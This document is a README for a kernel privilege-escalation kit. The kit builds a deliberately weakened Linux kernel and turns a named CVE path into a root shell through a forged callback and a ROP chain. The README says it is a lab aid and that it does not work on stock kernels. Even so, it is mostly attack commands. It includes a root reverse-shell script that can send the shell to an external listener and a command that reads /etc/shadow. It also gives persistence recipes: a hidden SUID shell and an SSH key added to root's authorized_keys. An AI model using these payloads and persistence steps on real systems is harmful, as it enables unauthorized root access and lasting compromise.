
CVE-2026-98432 lab root-shell kit (aid kernel; not a stock remote exploit)
This kit builds a deliberately vulnerable Linux 6.12.112 kernel with a small exploitability aid and turns the CVE-2026-98432 path into an interactive root shell on the QEMU console.
It is a lab aid, not a stock remote exploit. The real CVE code paths are used:
ip_options_rcu reaches ip_options_build() through the
retransmitted-SYN-ACK path;skb_shared_info is corrupted;skb_release_data() calls the forged ubuf_info->ops->complete callback;call_usermodehelper("/bin/sh", ...).The aid is the forced free/forged object and the staged callback/ROP chain. On a stock vulnerable kernel the missing piece is the reliable same-slab/same-CPU reclaim and payload-staging primitive; it is not published. See "Stock-kernel status" below.
/dev/kvm) strongly recommended; TCG works but is slowsudo apt-get update
sudo apt-get install -y build-essential flex bison bc libelf-dev libssl-dev \
cpio qemu-system-x86 busybox-static python3 python3-pip
python3 -m pip install --user ROPgadget
cd cve-2026-98432-root-shell
chmod +x build.sh
./build.sh
The first build downloads Linux 6.12.112, reverts the two kfree_rcu() calls,
applies the aid, builds bzImage, resolves symbols/gadgets from the patched
vmlinux, rebuilds, packs an initramfs, and boots QEMU with nokaslr.
If KVM is unavailable:
QEMU_ACCEL=tcg ./build.sh
(The script currently falls back to TCG automatically when /dev/kvm is not
writable; the QEMU_ACCEL variable is accepted for convenience.)
In a second terminal on the host:
python3 trigger.py 127.0.0.1 9000
The guest init created /tmp/cve98432_root.sh with a console shell
(sh -i </dev/console). A single TCP connection to the guest listener is
enough. The guest console should show something like:
[ 3.942024] BUG: scheduling while atomic: ...
...
uid=0 gid=0
#
Copy root_shell.py to the target (which already boots the aid kernel) and
run it as the user you have:
python3 root_shell.py
It writes /tmp/cve98432_root.sh with a root reverse-shell payload, starts
two loopback listeners (9000 for the trigger, 4444 for the shell), triggers
the aid, and bridges the root shell to your terminal:
[+] trigger sent; waiting for the root shell...
[+] root shell connected; type commands, exit to close
uid=0 gid=0
#
Useful options:
# check kernel/aid/ports without sending anything
python3 root_shell.py --check
# run one command as root and print its output
python3 root_shell.py --command 'id; cat /etc/shadow | head'
# send the root shell to an external listener instead of bridging locally
# (run: nc -lvnp 4444 on your machine first)
python3 root_shell.py --reverse 10.0.0.5:4444
# different ports / retries / no TTY raw mode
python3 root_shell.py --trigger-port 9100 --shell-port 4455 --retries 5
The aid chain calls machine_power_off() only after the root command exits.
If the root command never exits, the kernel waits in call_usermodehelper()
and the host stays up. That lets you create a persistent root path:
# SUID shell in /var/tmp, then keep the helper alive
python3 root_shell.py --command \
'cp /bin/sh /var/tmp/.rootsh; chmod 4755 /var/tmp/.rootsh; sleep 86400'
# after the client returns
/var/tmp/.rootsh -p
or add an SSH key and keep the helper alive:
python3 root_shell.py --command \
'mkdir -p /root/.ssh; echo "ssh-ed25519 AAAA... you@host" >> /root/.ssh/authorized_keys; chmod 700 /root/.ssh; chmod 600 /root/.ssh/authorized_keys; sleep 86400'
The sleep keeps the usermode helper (and therefore the kernel chain) alive,
so the target does not power off. Use /var/tmp or /root, not /tmp,
if /tmp is mounted noexec/nosuid. When the sleep ends, the chain
resumes and powers the host off; kill the sleep process as root if you want
to control that.
The payload file is created with 0700 and O_EXCL|O_NOFOLLOW, and is
removed after use unless --keep-payload is given. When you exit the root
shell, the aid chain calls machine_power_off(). Use a disposable VM, or
edit AID_POWEROFF in aid_patch.py if you need the host to stay up.
The chain runs:
call_usermodehelper("/bin/sh", ["-c", "sh /tmp/cve98432_root.sh"], env, 2)
so the script always executes as root.
| piece | status |
|---|---|
forged ip_options_rcu + ip_options_build() | CVE path, but allocation is forced by the aid |
skb_shared_info corruption | aid sets the fields directly in tcp_v4_send_synack() |
destructor_arg callback hijack | real downstream teardown path |
ROP pivot + call_usermodehelper() | real kernel control-flow hijack, staged by the aid |
nokaslr boot | lab simplification; no KASLR leak needed |
The published independent research that this kit follows reached the same point with an instrumented kernel: real OOB write and callback path, aided free/reclaim and payload staging. A stock-kernel weaponised chain is not publicly available as of 2026-11-02.
The aid uses absolute kernel addresses because the guest boots with
nokaslr. The values in aid_patch.py are defaults from the published
6.12.112 lab build. resolve.py reads the patched vmlinux and
System.map and writes symbols.json; build.sh then updates the defines
and rebuilds.
If resolve.py cannot find a gadget (ROPgadget missing or incomplete),
install it and re-run:
python3 -m pip install --user ROPgadget
python3 resolve.py work/linux-6.12.112
python3 aid_patch.py --update work/linux-6.12.112
make -C work/linux-6.12.112 -j"$(nproc)" bzImage
The pivot gadget must match the chain layout in aid_patch.py: a
lea -0x18(%rbp), %rsp plus four pops and a ret/jmp. If your build has
a different pivot, adjust SEND_BLOCK in aid_patch.py or pick a matching
gadget.
A stock vulnerable kernel does not have a reliable, public, unassisted root chain. The blockers are:
ip_options_rcu must be reclaimed inside the
free-to-build window by an object with attacker-controlled bytes. The
saved_syn object (TCP_SAVE_SYN) is the natural candidate, but the
independent lab measurements show the reclaim usually lands on another
option block, not the in-flight chunk.srr/rr/ts stores give four controlled bytes at an offset near the
skb buffer; writing a full 8-byte destructor_arg pointer needs either a
stale high dword or a stronger primitive.The published Anthropic chain solves these with a reclaim/staging primitive that was not released. This kit deliberately stops at the control-flow demonstration rather than pretending the stock chain works.
| file | purpose |
|---|---|
build.sh | kernel + initramfs + QEMU |
aid_patch.py | applies the forged-object/callback/ROP aid |
resolve.py | resolves symbols/gadgets for the patched build |
listener.c | guest TCP listener (accept + close) |
init | guest init script |
trigger.py | host-side one-connection trigger (console variant) |
root_shell.py | single-file trigger + reverse-shell bridge for a target with Python |
Everything is under work/ (or the directory passed as the first argument).
Delete it to reclaim disk:
rm -rf work